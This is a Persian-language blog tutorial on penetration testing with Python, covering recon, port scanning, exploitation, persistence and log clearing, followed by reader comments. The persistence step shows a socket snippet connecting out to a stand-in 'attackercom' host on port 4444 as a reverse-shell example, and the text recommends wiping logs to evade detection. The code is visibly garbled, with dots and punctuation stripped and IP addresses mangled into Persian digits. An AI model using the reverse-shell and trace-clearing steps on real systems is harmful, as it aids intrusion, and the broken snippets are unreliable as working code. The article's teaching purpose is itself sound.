تست نفوذ با پایتون چیست؟

آموزش تست نفوذ با پایتون  از جمله مهارت های مهمی است که در آن سعی می شود نقاط ضعف و نفوذ سیستم ها و برنامه های کامپیوتری و شبکه ها مورد بررسی و آزمایش قرار گیرد و قبل از این که این نقاط ضعف توسط هکرها مورد سواستفاده قرار بگیرند جلوی آن ها را بگیرند.

تست نفوذ با پایتون چیست؟

یکی از بهترین زبان ها برای تست نفوذ زبان پایتون است. زبان پایتون کتابخانه های زیادی دارد و قدرت بالایی که در اسکریپت نویسی دارد به همین دلایل یادگیری آسانی دارد. به این خاطر برای تست نفوذ از بهترین گزینه هاست.

چرا پایتون برای تست نفوذ؟

پایتون یک زبان برنامه نویسی اصلی در بین متخصصان امنیت سایبری است. اگر علاقمند به آموزش پایتون هستید بد نیست بدانید دلایل انتخاب این زبان برای تست نفوذ عبارتند از :

  • کتابخانه های گسترده :  پایتون دارای کتابخانه های خوبی است که در زمینه شبکه رمزنگاری و امنیت به کار می آیند.
  • ساده بودن کدنویسی :  برنامه نویسان به سادگی می توانند کدهای تست نفوذ را نوشته و در شبکه های هدف اجرا کنند.
  • چند منظوره بودن : پایتون می تواند برای نوشتن اسکریپت های ساده و ساخت ابزارهای پیچیده تست نفوذ استفاده شود.

مراحل تست نفوذ با پایتون

  1. جمع آوری اطلاعات (Information Gathering) : اولین مرحله تست نفوذ جمع آوری اطلاعات هدف است در این مرحله تست کننده با استفاده از ابزارهای مختلف اطلاعاتی مثل آدرس IP سیستم عامل پورت ها و سرویس های اجرا شده را به دست می آورد.

پایتون با کمک کتابخانه هایی مثل socket و Scapy می تواند اطلاعات مربوط به شبکه را جمع آوری کند.

python

  • import socket

target = ‘۱۹۲۱۶۸۱۱’

print(socketgethostbyname(target))

  1. بررسی آسیب پذیری ها : در این مرحله تلاش می شود تا نقاط ضعف و آسیب پذیری های موجود در سیستم و شبکه هدف شناسایی شود. در اینجا ابزارهایی مانند Nmap می توانند به وسیله پایتون استفاده می شوند.

پایتون به کمک کتابخانه هایی مانند  NmapوShodan  می تواند پورت های باز و سرویس های آسیب پذیر را پیدا کند.

  • import nmap

scanner = nmapPortScanner()

scannerscan(‘۱۹۲۱۶۸۱۱’, ‘۱-۱۰۲۴’)

for host in scannerall_hosts() :

 print(host, scanner[host]state())

بهره برداری از آسیب پذیری ها (Exploitation) : بعد از شناسایی آسیب پذیری ها نوبت به بهره برداری از این آسیب پذیری ها می رسد. در این جا برای دسترسی غیرمجاز از ابزارها و اکسپلویت های آماده یا کدهای سفارشی استفاده می شود.

بعضی کتابخانه های پایتون مانند pwntools وmetasploit  می توانند در این مرحله مورد استفاده قرار گیرند.

  • from pwn import *

p = remote(‘۱۹۲۱۶۸۱۱’, ۸۰)

psend(b’GET HTTP۱۱rnHost : vulnerable-sitecomrnrn’)

print(precv(۴۰۹۶))

  1. حفظ دسترسی (Maintaining Access) : بعد از اینکه به سیستم نفوذ شد هکر باید روشی برای حفظ دسترسی خود به سیستم ایجاد کند تا در آینده نیز بتواند از آن راه نفوذ کند.

ابزارهای Reverse Shell و Bind Shell برای این کار استفاده می شوند که با پایتون نیز پیاده سازی می شوند.

  • import socket

s = socketsocket(socketAF_INET, socketSOCK_STREAM)

sconnect((‘attackercom’, ۴۴۴۴))

ssend(b’Connection established!’)

  1. پاک سازی آثارنفوذ: آخرین مرحله در تست نفوذ پاک کردن تمام ردپاها و شواهدی است که ممکن است باعث شناسایی هکر شود برای این کار باید لاگ ها و فایل های مرتبط با نفوذ حذف شوند.

پایتون کاربردهای بیشتری هم دارد که می توان به استخراج داده از وب اشاره کرد. اگر علاقمند به آموزش وب اسکرپینگ هستید می توانید از آموزش های لرن فایلز استفاده کنید.

ابزارهای پایتون برای تست نفوذ

پایتون ابزارها و کتابخانه های زیادی دارد که برای اهداف مختلفی در تست نفوذ استفاده می شوند. برخی از مهم ترین این ابزارها عبارتند از :

  • Scapy : ابزاری برای تحلیل و ساخت پکت های شبکه.
  • Nmap : ابزاری برای اسکن پورت ها و شناسایی سرویس ها.
  • Pwntools : کتابخانه ای برای توسعه و بهره برداری از اکسپلویت ها.
  • Requests : برای ارسال درخواست های HTTP و بررسی آسیب پذیری های مبتنی بر وب.

آیا شما به دنبال کسب اطلاعات بیشتر در مورد "تست نفوذ با پایتون چیست؟" هستید؟ با کلیک بر روی تکنولوژی, کسب و کار ایرانی، به دنبال مطالب مرتبط با این موضوع هستید؟ با کلیک بر روی دسته بندی های مرتبط، محتواهای دیگری را کشف کنید. همچنین، ممکن است در این دسته بندی، سریال ها، فیلم ها، کتاب ها و مقالات مفیدی نیز برای شما قرار داشته باشند. بنابراین، همین حالا برای کشف دنیای جذاب و گسترده ی محتواهای مرتبط با "تست نفوذ با پایتون چیست؟"، کلیک کنید.

‫20 دیدگاه ها

  1. خیلی از ابزارهایی که معرفی کردین عالی بودن مخصوصاً Scapy برای تحلیل شبکه اما هنوز مشکل دارم با نصبش روی ویندوز کسی تونسته درست نصب کنه؟

  2. من کدنویسی پایتون رو تازه شروع کردم و نصب ابزارهای امنیتی مثل Scapy برای من خیلی پیچیده بود کاش یک راهنمای گام به گام داشت.

  3. پایتون توی خیلی از موارد تست نفوذ خوب جواب می ده ولی توی حملات پیچیده تر مثل حملات مبتنی بر سخت افزار واقعاً کم میاره کاش راه حلی برای این محدودیت ها ارائه می دادین.

  4. اول فکر نمی کردم پایتون انقدر برای امنیت مفید باشه اما با استفاده از pwntools تونستم یک اکسپلویت رو بنویسم که توی C# اصلاً نمی شد! واقعاً جذاب بود.

  5. هر چی تلاش می کنم Scapy رو نصب کنم خطای permission می گیرم این ابزار برای همه مناسب نیست شاید باید یک نسخه ساده تر برای مبتدی ها باشه.

  6. واقعا مطلب شما به من کمک کرد تا بفهمم چطور باید با پایتون وارد دنیای امنیت بشم ولی کاش یک ویدیو آموزشی هم بود که توضیح بدین چطور هر کتابخونه رو نصب و استفاده کنیم.

  7. توی بخشی که بسته های شبکه رو با پایتون تجزیه کردین احساس می کنم می شه بهینه تر نوشت چون وقتی روی شبکه های بزرگ تست می زنم عملکردش افت می کنه.

  8. مقاله خیلی کامل بود ولی من دنبال مقایسه بین پایتون و زبان های دیگه برای تست نفوذ بودم کاش یک بخش برای این هم می ذاشتین.

  9. بخش وب خیلی مختصر بود آیا پایتون واقعاً برای تست نفوذ وب هم قدرتمنده؟ یا بهتره به سراغ ابزارهای تخصصی تری مثل Burp Suite بریم؟

  10. مقاله خوبی بود اما چرا هیچ اشاره ای به ابزارهای ترکیبی نکردین؟ من از ترکیب پایتون و Bash استفاده می کنم و نتیجه بهتری می گیرم.

  11. مشکل من با نصب pwntools روی مک تموم نمی شه کسی دیگه هم تجربه این مشکل رو داره؟ هر کاری می کنم با خطا روبرو می شم.

  12. در مورد تست نفوذ شبکه عالی بود ولی کاش در مورد چالش های بزرگتر مثل تست روی شبکه های ابری هم صحبت می کردین.

  13. من خودم از پایتون برای تست های نفوذ ساده استفاده می کنم ولی توی حملات پیچیده تر مثل Shellcode ها به نظرم بهتره از C استفاده کنیم.

  14. خیلی از بخش ها خوب توضیح داده شده بود ولی کاش درباره روش های جلوگیری از شناسایی در تست های نفوذ هم توضیح بیشتری می دادین.

  15. به نظرم اگر قصد دارید توی حوزه امنیت سایبری با پایتون فعالیت کنید بهتره یک بار کتابخانه هایی مثل paramiko هم امتحان کنین خیلی توی تست های SSH کمک می کنه.

  16. مقاله شما جامع بود ولی من انتظار داشتم به تست نفوذ روی دستگاه های IOT هم اشاره بشه دنیای اینترنت اشیا خیلی حساسه.

  17. پایتون برای نوشتن اسکریپت های تست نفوذ عالیه من خودم با چند خط کد می تونم کلی کار انجام بدم ولی شما خیلی به این بخش نپرداختین.

  18. خیلی جاها از پایتون برای تست نفوذ استفاده می کنن ولی به نظرتون کالی لینوکس با ابزارهای خودش کار رو راحت تر نمی کنه؟